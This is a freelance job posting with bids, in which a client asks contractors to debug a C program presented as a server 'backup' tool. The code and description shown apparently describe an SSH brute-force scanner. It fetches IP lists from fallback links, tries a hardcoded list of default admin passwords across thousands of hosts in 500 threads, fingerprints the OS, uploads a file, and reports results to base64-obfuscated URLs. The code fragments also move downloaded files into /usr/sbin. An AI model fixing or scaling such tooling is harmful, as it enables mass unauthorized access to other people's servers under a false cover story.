Kapalı

Software error

Greetings

Below attach the source to our program.

It is designed for Linux "redhat, centos, ubuntu, debian, etc". It is a program that logs on our company servers making backup servers.

It was created one year ago, on that time being also tested. At first glance the tools are exactly what we wan,t it all runs very well as long as he tries to

make backup servers on 10-20 servers. When lists of IPs are loaded with more than 3,000 servers somewhere that user program crashes and the whole operation is too slow several times or even stays stuck.

We think somewhere the timeout of the thread is the problem, this is why I attached the source program below to take a look at it and tell us

as quickly as possible if you discover an error in it.

Program Description:

When started it ties to download the list of IPs on the first link = link1, tries the link1 and if the link is valid will randomly download web links from 1-5

a list of IPs.

If link1 is not valid then will try link2 and link3.

e.g.: curl -0 [url removed, login to view]

main.c linea 130

tar -xvf [url removed, login to view]

rm -f [url removed, login to view]

[url removed, login to view] rezult [url removed, login to view]

mv [url removed, login to view] -f /usr/sbin/[url removed, login to view]";

sprintf(cmd, "tar -xvf %s > /dev/null", TMP_CONFIG_PATH);

system(cmd);

sprintf(cmd, "rm -f %s > /dev/null", TMP_CONFIG_PATH);

system(cmd);

sprintf(cmd, "rm -f %s > /dev/null", IP_FILE);

system(cmd);

sprintf(cmd, "mv [url removed, login to view] -f %s > /dev/null", IP_FILE);

char IP_FILE[] = "/usr/sbin/[url removed, login to view]";

Then starts checking the correct username and password.

config.h linea 117

typedef struct string {

char user[200];

char pass[200];

} info;

// 6 pcs

info USERINFO[] = {

{ "admin", "admin123"},

{ "admin", "admin1234"},

{ "admin1", "admin12345"},

{ "admin2", "admin2"},

{ "admin3", "admin3"},

{ "admin0", "admin0"},

It logs with the username and password, if it succeeds and finds the correct password login it will run these commands one by one,

log( "%s : Detected OS : %s\n", addr, OS_LIST[os] );

ssh_channel catVersionChannel = remoteExec(ssh, "cat /proc/version", 0);

ssh_channel unameChannel = remoteExec(ssh, "uname -a", 0);

log( "%s : Detected OS_UNAME2 : %s\n", addr, OS_LIST_UNAME2[os] );

will check and choose the correct words from config.h then upload the backup file on the server and will post the result on

//log for "OS_LIST = cat /etc/issue" and "OS_LIST_UNAME = uname -a"

char POST_URL1[] = "aHR0cDovL2409tL3dwLx1Z2lucy9sMS5waHAK"; // post rezult 1 echo "[url removed, login to view]" | base64

char POST_URL2[] = "aHR0cDovL2FsvcudC9wbHVnaW5zL2wyLnBocAo="; // post rezult 2 echo "[url removed, login to view]" | base64

then will exit and continue with another ip.

The program must open at least 500 threads and run as fast as possible

In the config.h it has two functions for timeout:

#define WAIT_TIMEOUT 15

#define WAIT_TIMEOUT2 15

I want to be checked and I hope only those timeouts to be in the program if there are others, they must be defined in config.h

Very important:

All people who want to work on this project should detail minimum one error found in the source code. Before you ask 100 questions please check the source code

several times to understand in broad lines what makes this program and what are its functions.

[url removed, login to view]

Beceriler: C Programlama, C++ Programlama, Mühendislik, Yazılım Mimarisi, Yazılım Test Etme

Daha fazlasını görün: what to take if you want to be engineering, two string problem, l2, glance net, download dev php, dev software, define system architecture, correct username, correct password, architecture define, debian os, curl software, open source software download, dev software 500, software defined, ProC, net mv, mv, architecture f, ssh net, php curl http code, linux open source tools, centos check php, curl error code, curl config

İşveren Hakkında:
( 0 değerlendirme ) Milano, Italy

Proje NO: #6499154

12 freelancer bu iş için ortalamada 526€ teklif veriyor

kchg

A proposal has not yet been provided

in 5 gün içinde1030€ EUR
(65 Değerlendirme)
8.1
mingzixian523

Hello, sir. I have enough experience for your task. I want to work with you. Thanks. Regards.

in 10 gün içinde736€ EUR
(22 Değerlendirme)
4.7
NayaPakistan

A proposal has not yet been provided

in 10 gün içinde526€ EUR
(21 Değerlendirme)
4.3
mmadi

Hi, Iam interested in your project and I will be happy to do that for you. I have rich experince in scrapping, curl, regular expressions, Dom and Selenium RC. examples of scrapping work: [url removed, login to view] trave Daha fazlası

in 8 gün içinde500€ EUR
(3 Değerlendirme)
4.0
SoftwareEng8876

Hello Sir, Actually I am software engineer.I have 3 year experienced in software engineering.I have expertise like these skills Java,PHP,Andriod,PDF, Excel and much more..I have ability to do the work with any requir Daha fazlası

in 6 gün içinde631€ EUR
(9 Değerlendirme)
3.5
kteja85

A proposal has not yet been provided

in 10 gün içinde555€ EUR
(8 Değerlendirme)
3.5
nikhilratnaparkh

Thanks for posting the ad. I can understand you must be facing a lot of issues due to the application error with your working. I have checked the source code and can surely help you to fix this issue along with a Daha fazlası

in 7 gün içinde473€ EUR
(1 Değerlendirme)
0.5
bbing816

Hi. I have been analysis your main.c. it takes a time .only one day, please wait for me. Tomorrow I will send you result. Regards.

in 5 gün içinde277€ EUR
(0 Değerlendirme)
0.0
Phasme

Aucune proposition n'a encore été fournie.

in 3 gün içinde555€ EUR
(0 Değerlendirme)
0.0
vw7880263vw

- 5 years software development (C, C++, cuda). Windows, Linux. For more details, feel free to contact me.

in 10 gün içinde555€ EUR
(0 Değerlendirme)
0.0
kojecka

Hello. I've had a quick look at your code and one of your main problems is the use of memory resources. (the fact you stated that it works for small lists but fails for large ones is a simple confirmation of this) T Daha fazlası

in 10 gün içinde300€ EUR
(0 Değerlendirme)
0.0
athtester

I have worked for several years as a C, C++ SW developer and I am familiar with working massive legacy code bases for finding faults. This task should be like a walk in the park for me.

in 10 gün içinde555€ EUR
(0 Değerlendirme)
0.0
richrcollins

I have over 3 years of professional experience working in C. Some issues that should be worked on from what I see so far: 1. No mention of any tweaking of OS limits. Things like soft/hard nofile limit may be causi Daha fazlası

in 3 gün içinde250€ EUR
(0 Değerlendirme)
0.0